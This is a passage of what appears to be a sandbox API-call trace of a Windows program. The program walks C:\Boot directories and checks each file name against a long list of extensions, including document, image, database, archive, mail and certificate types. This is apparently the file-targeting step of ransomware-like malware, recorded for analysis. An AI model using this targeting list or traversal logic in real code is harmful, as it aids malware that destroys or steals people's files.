(lpString=".dpx") returned 4 [0093.200] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0093.200] lstrlenW (lpString=".dqy") returned 4 [0093.200] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0093.200] lstrlenW (lpString=".dsn") returned 4 [0093.200] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0093.200] lstrlenW (lpString=".dt") returned 3 [0093.200] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0093.200] lstrlenW (lpString=".dtd") returned 4 [0093.200] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0093.200] lstrlenW (lpString=".dwg") returned 4 [0093.200] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0093.200] lstrlenW (lpString=".dwt") returned 4 [0093.200] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0093.200] lstrlenW (lpString=".dx") returned 3 [0093.200] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0093.200] lstrlenW (lpString=".dxf") returned 4 [0093.200] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0093.200] lstrlenW (lpString=".edml") returned 5 [0093.200] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0093.200] lstrlenW (lpString=".efd") returned 4 [0093.200] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0093.200] lstrlenW (lpString=".elf") returned 4 [0093.200] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0093.200] lstrlenW (lpString=".emf") returned 4 [0093.201] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0093.201] lstrlenW (lpString=".emz") returned 4 [0093.201] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0093.201] lstrlenW (lpString=".epf") returned 4 [0093.201] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0093.201] lstrlenW (lpString=".eps") returned 4 [0093.201] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0093.201] lstrlenW (lpString=".epsf") returned 5 [0093.201] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0093.201] lstrlenW (lpString=".epsp") returned 5 [0093.201] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0093.201] lstrlenW (lpString=".erf") returned 4 [0093.201] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0093.201] lstrlenW (lpString=".exr") returned 4 [0093.201] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0093.201] lstrlenW (lpString=".f4v") returned 4 [0093.201] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0093.201] lstrlenW (lpString=".fido") returned 5 [0093.201] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0093.201] lstrlenW (lpString=".flm") returned 4 [0093.201] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0093.201] lstrlenW (lpString=".flv") returned 4 [0093.201] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0093.201] lstrlenW (lpString=".frm") returned 4 [0093.201] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0093.201] lstrlenW (lpString=".fxg") returned 4 [0093.202] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0093.202] lstrlenW (lpString=".geo") returned 4 [0093.202] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0093.202] lstrlenW (lpString=".gif") returned 4 [0093.202] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0093.202] lstrlenW (lpString=".grs") returned 4 [0093.202] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0093.202] lstrlenW (lpString=".gz") returned 3 [0093.202] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0093.202] lstrlenW (lpString=".h") returned 2 [0093.202] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0093.202] lstrlenW (lpString=".hdr") returned 4 [0093.202] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0093.202] lstrlenW (lpString=".hpp") returned 4 [0093.202] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0093.203] lstrlenW (lpString=".hta") returned 4 [0093.203] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0093.203] lstrlenW (lpString=".htc") returned 4 [0093.203] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0093.203] lstrlenW (lpString=".htm") returned 4 [0093.203] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0093.203] lstrlenW (lpString=".html") returned 5 [0093.203] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0093.203] lstrlenW (lpString=".icb") returned 4 [0093.203] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0093.203] lstrlenW (lpString=".ics") returned 4 [0093.203] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0093.203] lstrlenW (lpString=".iff") returned 4 [0093.203] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0093.203] lstrlenW (lpString=".inc") returned 4 [0093.203] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0093.203] lstrlenW (lpString=".indd") returned 5 [0093.203] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0093.203] lstrlenW (lpString=".ini") returned 4 [0093.203] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0093.203] lstrlenW (lpString=".iqy") returned 4 [0093.203] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0093.203] lstrlenW (lpString=".j2c") returned 4 [0093.203] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0093.203] lstrlenW (lpString=".j2k") returned 4 [0093.203] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0093.204] lstrlenW (lpString=".java") returned 5 [0093.204] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0093.204] lstrlenW (lpString=".jp2") returned 4 [0093.204] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0093.204] lstrlenW (lpString=".jpc") returned 4 [0093.204] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0093.204] lstrlenW (lpString=".jpe") returned 4 [0093.204] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0093.204] lstrlenW (lpString=".jpeg") returned 5 [0093.204] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0093.204] lstrlenW (lpString=".jpf") returned 4 [0093.204] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0093.204] lstrlenW (lpString=".jpg") returned 4 [0093.204] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0093.204] lstrlenW (lpString=".jpx") returned 4 [0093.204] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0093.204] lstrlenW (lpString=".js") returned 3 [0093.204] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0093.204] lstrlenW (lpString=".jsf") returned 4 [0093.204] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0093.204] lstrlenW (lpString=".json") returned 5 [0093.204] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0093.204] lstrlenW (lpString=".jsp") returned 4 [0093.204] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0093.204] lstrlenW (lpString=".kdc") returned 4 [0093.204] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0093.205] lstrlenW (lpString=".kmz") returned 4 [0093.205] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0093.205] lstrlenW (lpString=".kwm") returned 4 [0093.205] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0093.205] lstrlenW (lpString=".lasso") returned 6 [0093.205] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0093.205] lstrlenW (lpString=".lbi") returned 4 [0093.205] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0093.205] lstrlenW (lpString=".lgf") returned 4 [0093.205] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0093.205] lstrlenW (lpString=".lgp") returned 4 [0093.205] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0093.205] lstrlenW (lpString=".log") returned 4 [0093.205] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0093.205] lstrlenW (lpString=".m1v") returned 4 [0093.205] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0093.205] lstrlenW (lpString=".m4a") returned 4 [0093.205] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0093.205] lstrlenW (lpString=".m4v") returned 4 [0093.205] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0093.205] lstrlenW (lpString=".max") returned 4 [0093.205] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0093.205] lstrlenW (lpString=".md") returned 3 [0093.205] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0093.205] lstrlenW (lpString=".mda") returned 4 [0093.205] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0093.206] lstrlenW (lpString=".mdb") returned 4 [0093.206] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0093.206] lstrlenW (lpString=".mde") returned 4 [0093.206] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0093.206] lstrlenW (lpString=".mdf") returned 4 [0093.206] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0093.206] lstrlenW (lpString=".mdw") returned 4 [0093.206] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0093.206] lstrlenW (lpString=".mef") returned 4 [0093.206] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0093.206] lstrlenW (lpString=".mft") returned 4 [0093.206] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0093.206] lstrlenW (lpString=".mfw") returned 4 [0093.206] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0093.206] lstrlenW (lpString=".mht") returned 4 [0093.206] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0093.206] lstrlenW (lpString=".mhtml") returned 6 [0093.206] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0093.206] lstrlenW (lpString=".mka") returned 4 [0093.206] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0093.206] lstrlenW (lpString=".mkidx") returned 6 [0093.206] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0093.206] lstrlenW (lpString=".mkv") returned 4 [0093.206] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0093.206] lstrlenW (lpString=".mos") returned 4 [0093.206] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0093.207] lstrlenW (lpString=".mov") returned 4 [0093.207] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0093.207] lstrlenW (lpString=".mp3") returned 4 [0093.207] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0093.207] lstrlenW (lpString=".mp4") returned 4 [0093.207] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0093.207] lstrlenW (lpString=".mpeg") returned 5 [0093.207] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0093.207] lstrlenW (lpString=".mpg") returned 4 [0093.207] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0093.207] lstrlenW (lpString=".mpv") returned 4 [0093.207] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0093.207] lstrlenW (lpString=".mrw") returned 4 [0093.207] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0093.207] lstrlenW (lpString=".msg") returned 4 [0093.207] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0093.207] lstrlenW (lpString=".mxl") returned 4 [0093.207] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0093.207] lstrlenW (lpString=".myd") returned 4 [0093.207] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0093.207] lstrlenW (lpString=".myi") returned 4 [0093.207] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0093.207] lstrlenW (lpString=".nef") returned 4 [0093.207] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0093.207] lstrlenW (lpString=".nrw") returned 4 [0093.207] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0093.208] lstrlenW (lpString=".obj") returned 4 [0093.208] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0093.208] lstrlenW (lpString=".odb") returned 4 [0093.208] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0093.208] lstrlenW (lpString=".odc") returned 4 [0093.208] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0093.208] lstrlenW (lpString=".odm") returned 4 [0093.208] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0093.208] lstrlenW (lpString=".odp") returned 4 [0093.208] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0093.208] lstrlenW (lpString=".ods") returned 4 [0093.208] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0093.208] lstrlenW (lpString=".oft") returned 4 [0093.208] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0093.208] lstrlenW (lpString=".one") returned 4 [0093.208] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0093.208] lstrlenW (lpString=".onepkg") returned 7 [0093.208] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0093.208] lstrlenW (lpString=".onetoc2") returned 8 [0093.208] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0093.208] lstrlenW (lpString=".opt") returned 4 [0093.208] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0093.208] lstrlenW (lpString=".oqy") returned 4 [0093.208] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0093.208] lstrlenW (lpString=".orf") returned 4 [0093.208] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0093.208] lstrlenW (lpString=".p12") returned 4 [0093.209] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0093.209] lstrlenW (lpString=".p7b") returned 4 [0093.209] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0093.209] lstrlenW (lpString=".p7c") returned 4 [0093.209] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0093.209] lstrlenW (lpString=".pam") returned 4 [0093.209] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0093.209] lstrlenW (lpString=".pbm") returned 4 [0093.209] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0093.209] lstrlenW (lpString=".pct") returned 4 [0093.209] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0093.209] lstrlenW (lpString=".pcx") returned 4 [0093.209] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0093.209] lstrlenW (lpString=".pdd") returned 4 [0093.209] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0093.209] lstrlenW (lpString=".pdf") returned 4 [0093.209] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0093.209] lstrlenW (lpString=".pdp") returned 4 [0093.209] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0093.209] lstrlenW (lpString=".pef") returned 4 [0093.209] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0093.209] lstrlenW (lpString=".pem") returned 4 [0093.209] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0093.209] lstrlenW (lpString=".pff") returned 4 [0093.209] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0093.209] lstrlenW (lpString=".pfm") returned 4 [0093.210] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0093.210] lstrlenW (lpString=".pfx") returned 4 [0093.210] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0093.210] lstrlenW (lpString=".pgm") returned 4 [0093.210] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0093.210] lstrlenW (lpString=".php") returned 4 [0093.210] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0093.210] lstrlenW (lpString=".php3") returned 5 [0093.210] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0093.210] lstrlenW (lpString=".php4") returned 5 [0093.210] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0093.210] lstrlenW (lpString=".php5") returned 5 [0093.210] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0093.210] lstrlenW (lpString=".phtml") returned 6 [0093.210] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0093.210] lstrlenW (lpString=".pict") returned 5 [0093.210] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0093.210] lstrlenW (lpString=".pl") returned 3 [0093.210] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0093.210] lstrlenW (lpString=".pls") returned 4 [0093.210] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0093.210] lstrlenW (lpString=".pm") returned 3 [0093.210] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0093.210] lstrlenW (lpString=".png") returned 4 [0093.210] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0093.210] lstrlenW (lpString=".pnm") returned 4 [0093.210] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0093.211] lstrlenW (lpString=".pot") returned 4 [0093.211] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0093.211] lstrlenW (lpString=".potm") returned 5 [0093.211] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0093.211] lstrlenW (lpString=".potx") returned 5 [0093.211] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0093.211] lstrlenW (lpString=".ppa") returned 4 [0093.211] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0093.211] lstrlenW (lpString=".ppam") returned 5 [0093.211] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0093.211] lstrlenW (lpString=".ppm") returned 4 [0093.211] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0093.211] lstrlenW (lpString=".pps") returned 4 [0093.211] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0093.211] lstrlenW (lpString=".ppsm") returned 5 [0093.211] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0093.211] lstrlenW (lpString=".ppt") returned 4 [0093.211] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0093.211] lstrlenW (lpString=".pptm") returned 5 [0093.211] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0093.211] lstrlenW (lpString=".pptx") returned 5 [0093.211] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0093.211] lstrlenW (lpString=".prn") returned 4 [0093.211] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0093.211] lstrlenW (lpString=".ps") returned 3 [0093.211] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0093.212] lstrlenW (lpString=".psb") returned 4 [0093.212] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0093.212] lstrlenW (lpString=".psd") returned 4 [0093.212] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0093.212] lstrlenW (lpString=".pst") returned 4 [0093.212] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0093.212] lstrlenW (lpString=".ptx") returned 4 [0093.212] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0093.212] lstrlenW (lpString=".pub") returned 4 [0093.212] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0093.212] lstrlenW (lpString=".pwm") returned 4 [0093.212] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0093.212] lstrlenW (lpString=".pxr") returned 4 [0093.212] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0093.212] lstrlenW (lpString=".py") returned 3 [0093.212] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0093.212] lstrlenW (lpString=".qt") returned 3 [0093.212] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0093.212] lstrlenW (lpString=".r3d") returned 4 [0093.212] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0093.212] lstrlenW (lpString=".raf") returned 4 [0093.212] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0093.212] lstrlenW (lpString=".rar") returned 4 [0093.212] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0093.213] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0093.213] FindClose (in: hFindFile=0x42607d0 | out: hFindFile=0x42607d0) returned 1 [0093.213] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0093.213] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0093.213] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0093.213] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0093.213] lstrlenW (lpString="C:\\Boot\\nb-NO") returned 13 [0093.213] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0093.214] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.214] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0093.214] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0093.214] lstrlenW (lpString=".1cd") returned 4 [0093.214] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0093.214] lstrlenW (lpString=".3ds") returned 4 [0093.214] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0093.214] lstrlenW (lpString=".3fr") returned 4 [0093.214] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0093.214] lstrlenW (lpString=".3g2") returned 4 [0093.214] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0093.214] lstrlenW (lpString=".3gp") returned 4 [0093.214] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0093.214] lstrlenW (lpString=".7z") returned 3 [0093.214] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0093.214] lstrlenW (lpString=".accda") returned 6 [0093.214] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0093.214] lstrlenW (lpString=".accdb") returned 6 [0093.214] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0093.214] lstrlenW (lpString=".accdc") returned 6 [0093.214] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0093.215] lstrlenW (lpString=".accde") returned 6 [0093.215] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0093.215] lstrlenW (lpString=".accdt") returned 6 [0093.215] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0093.215] lstrlenW (lpString=".accdw") returned 6 [0093.215] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0093.215] lstrlenW (lpString=".adb") returned 4 [0093.215] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0093.215] lstrlenW (lpString=".adp") returned 4 [0093.215] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0093.215] lstrlenW (lpString=".ai") returned 3 [0093.215] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0093.215] lstrlenW (lpString=".ai3") returned 4 [0093.215] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0093.215] lstrlenW (lpString=".ai4") returned 4 [0093.215] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0093.215] lstrlenW (lpString=".ai5") returned 4 [0093.215] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0093.215] lstrlenW (lpString=".ai6") returned 4 [0093.215] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0093.215] lstrlenW (lpString=".ai7") returned 4 [0093.215] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0093.215] lstrlenW (lpString=".ai8") returned 4 [0093.215] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0093.215] lstrlenW (lpString=".anim") returned 5 [0093.215] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0093.216] lstrlenW (lpString=".arw") returned 4 [0093.216] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0093.216] lstrlenW (lpString=".as") returned 3 [0093.216] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0093.216] lstrlenW (lpString=".asa") returned 4 [0093.216] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0093.216] lstrlenW (lpString=".asc") returned 4 [0093.216] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0093.216] lstrlenW (lpString=".ascx") returned 5 [0093.216] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0093.216] lstrlenW (lpString=".asm") returned 4 [0093.216] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0093.216] lstrlenW (lpString=".asmx") returned 5 [0093.216] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0093.216] lstrlenW (lpString=".asp") returned 4 [0093.216] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0093.216] lstrlenW (lpString=".aspx") returned 5 [0093.216] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0093.216] lstrlenW (lpString=".asr") returned 4 [0093.216] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0093.216] lstrlenW (lpString=".asx") returned 4 [0093.216] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0093.216] lstrlenW (lpString=".avi") returned 4 [0093.216] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0093.216] lstrlenW (lpString=".avs") returned 4 [0093.216] 